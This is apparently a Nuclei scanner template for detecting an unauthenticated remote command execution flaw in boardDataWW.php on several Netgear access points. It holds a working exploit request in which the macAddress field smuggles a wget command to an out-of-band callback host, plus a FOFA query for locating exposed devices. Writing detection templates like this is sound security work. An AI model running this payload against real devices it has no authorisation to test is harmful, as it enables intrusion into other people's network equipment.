id: netgear-boarddataww-rce

info:
  name: Netgear Devices boardDataWW.php - Remote Command Execution
  author: pussycat0x
  severity: critical
  description: |
    boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute arbitrary commands.
  reference:
    - https://github.com/wy876/POC/blob/main/Netgear%E8%B7%AF%E7%94%B1%E5%99%A8boardDataWW.php%E5%AD%98%E5%9C%A8RCE%E6%BC%8F%E6%B4%9E.md
    - https://github.com/gobysec/GobyVuls/blob/master/Netgear_Devices_boardDataWW.php_Unauthenticated_Remote_Command_Execution.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title=="Netgear"
  tags: rce,netgear,iot,unauth

http:
  - raw:
      - |
        POST /boardDataWW.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        macAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23&reginfo=0&writeData=Submit

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "<title>Netgear</title>"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205678f03caa379b12b3573ac884905357ff4fd594d35706e15f18cef90173b0050221008de090baf00faed80f2db2d4dbd7bf6924721f243ff1a65f3b1727096f446fdf:922c64590222798bb761d5b6d8e72950